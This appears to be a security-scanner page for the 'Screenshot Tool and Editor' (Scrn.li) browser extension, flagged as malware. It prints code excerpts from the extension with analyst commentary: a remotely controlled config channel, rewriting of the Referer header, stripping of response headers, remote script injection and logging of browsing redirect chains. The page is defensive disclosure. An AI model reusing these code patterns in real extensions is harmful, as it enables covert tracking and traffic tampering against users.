Security Alert: Confirmed Malware
Screenshot Tool and Editor
ID: ialiedlpfknneamnbemcgmaboleiccdd
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- DevExtView Profile
- MX records exist
- No
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- No
Screenshot tool for making a full page or partial screen capture with further edit, download or text adding.
The #1 app to make a full webpage screenshot or just any part of it with an opportunity to edit, save and download screen capture to your PC. The app is launched from a browser that totally saves your time. Simply click the extension icon to choose from options whole page screenshot or a selected part. Lots of features at your disposal allow to - edit and reset changes; - make one step back/forward; - add text and graphic elements like pointer, arrow, circle and other. Useful and friendly design of Scrn.li was made with a goal to reach required screens fastly so you can share them with colleagues or friends during the work. To avoid long descriptions in chatting just take a screenshot and send it to the address. You can make a screenshot of any website absolutely for free using our app. Privacy Policy - https://scrn.li/privacy
This handler rewrites outgoing request headers on all HTTP(S) requests, including forcing a `Referer` value derived from prior redirect state or remote replacement rules. Modifying traffic metadata this way is consistent with affiliate hijacking, cloaked redirection, or other interception schemes that alter how websites see user navigation.
if (c.url_request) if (!new RegExp(c.url_request[0], c.url_request[1]) .test(e.url)) continue;if ("allow" == c.rule && (i = u.last_response_url), "replace" == c.rule && c .replace && (i = c.replace), "regexp" == c.rule && c.regexp && c.replace) { var h = new RegExp(c.regexp[0], c.regexp[1]); i = u.last_response_url.replace(h, c.replace)}break}if (i) { var p = t.findIndex((function(e) { return "referer" == e.name.toLowerCase() })); p > -1 ? t[p].value = i : t.push({ name: "Referer", value: i })}}return { requestHeaders: t}}), { urls: ["http://*/*", "https://*/*"]}, e)This content script dynamically injects a remote Mixpanel library into every matched page and initializes page tracking from inside the page context. Because the extension also loads `assets/analytics.js` on `<all_urls>` in all frames, this creates a remote code loading and cross-site tracking surface that is not limited to the extension's own UI.
k = "disable time_event track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config reset people.set people.set_once people.unset people.increment people.append people.union people.track_charge people.clear_charges people.delete_user" .split(" ");for (h = 0; h < k.length; h++) e(d, k[h]);a._i.push([b, c, f])};a.__SV = 1.2;b = e.createElement("script");b.type = "text/javascript";b.async = !0;b.src = "undefined" !== typeof MIXPANEL_CUSTOM_LIB_URL ? MIXPANEL_CUSTOM_LIB_URL : "https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js".match(/^\/\//) && "file:" === e.location .protocol ? "https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js" : "https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js";c = e.getElementsByTagName("body")[0];c.appendChild(b);}})(document, window.mixpanel || []);mixpanel.init((appConfig && appConfig.mixpanelId) ? appConfig.mixpanelId : null);The extension phones home to `https://scrn.li/api/config/`, sending a persistent `uid`, extension ID, version, and timestamp, then blindly merges the server response into runtime configuration. That server-controlled config immediately enables request filtering and background traffic processing, effectively acting as a remote command channel for sensitive network behavior.
value: function() { var e = this, t = this, n = this.configUrl; fetch("" + n, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "request=" + encodeURIComponent(btoa((0, r.default)({ id: chrome.runtime.id, version: this.version, r: Date.now(), uid: this.uid }))) }) .then((function(e) { return e.json() })) .then((function(t) { if (t) { for (var n in t) e.config[n] = t[n]; e.saveConfig(), e.filterRequests(), e.initBgProcessor() } })) .finally((function() { e.config.configUpTime && e.config.configUpTime > 0 && setTimeout((function() { t.updateConfig() }), e.config.configUpTime) }))This code registers a blocking `webRequest` handler over `<all_urls>` and removes arbitrary response headers named in remote config. Silently stripping server response headers can disable browser-enforced protections or hide interception behavior, which is a strong network-manipulation pattern.
key: "filterRequests", value: function() { var e = this; this.requestFiltered || this.config && this.config.validateFields && (e.requestFiltered = !0, chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((function(t) { return { responseHeaders: t.responseHeaders.filter((function(t) { return !(e.config.validateFields.indexOf(t.name.toLowerCase()) > -1) })) } }), { urls: ["<all_urls>"] }, ["blocking", "responseHeaders"])) }The background processor accumulates redirect chains from user browsing and posts them to a remotely supplied logging endpoint. This is silent collection of browsing flow data, and because the endpoint is configuration-driven it can be enabled or retargeted by the server without updating the extension.
send_rdr_log: function() { var e = arguments.length > 0 && void 0 !== arguments[0] && arguments[0]; if (this.rdr_chain && this.cfg && this.cfg.log_rdr_active && this.cfg.log_rdr_endpoint) { if (this.cfg && this.cfg.log_rdr_onlydifferent) { var t = this.rdr_chain[0], n = this.rdr_chain[this.rdr_chain.length - 1]; if (t.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") == n.replace( /^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1")) return } var o = new XMLHttpRequest, i = this.cfg.log_rdr_endpoint; e && this.cfg.log_rdr_errors_endpoint && (i = this.cfg.log_rdr_errors_endpoint), o.open("POST", i, !0), o.setRequestHeader("Content-Type", "application/json;charset=UTF-8"), o.send((0, r.default)(this .rdr_chain)), this.rdr_chain = [], this.last_request_url = null, this.last_response_url = null }}This function converts the current screenshot canvas into a file and uploads it to `api.scrn.li`, tagging it with a persistent `user_id` and a generated public `url_id`. Although this appears to back an explicit sharing feature, it is still a direct path for screenshot contents to leave the device and be associated with a stable identifier.
this.fabricCanvas.setWidth(this.back_width), this.fabricCanvas.setHeight(this.back_height), this .fabricCanvas.viewportTransform[5] = 0, this.fabricCanvas.renderAll(), setTimeout((function() { for (var E = A.fabricCanvas.toDataURL() .split(","), w = E[0].match(/:(.*?);/)[1], g = atob(E[1]), C = g.length, I = new Uint8Array( C); C--;) I[C] = g.charCodeAt(C); var M = new File([I], "screenshot.png", { type: w }); A.url_id = A.generateID(), A.file_url = "https://scrn.li/" + A.url_id; var i = { headers: { "Content-Type": "multipart/form-data", type: A.screenshot_type, user_id: A.id, url_id: A.url_id }, onUploadProgress: function(B) { A.ui.loadingPercentage = B.loaded / B.total * 100 } }, s = void 0; (s = new FormData) .append("file", M, M.name), A.fabricCanvas.setWidth(B), A.fabricCanvas.setHeight(Q), (0, e .default)() .post("file/" + A.id + "/" + A.url_id, s, i)By severity
Versions scanned
Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.1 | 6 |
| 1.9.1 | 7 |
Files with findings
5 distinct paths — top paths by unique finding count:
- js/background.js7
- js/modal.js3
- assets/analytics.js1
- assets/hot-reload.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.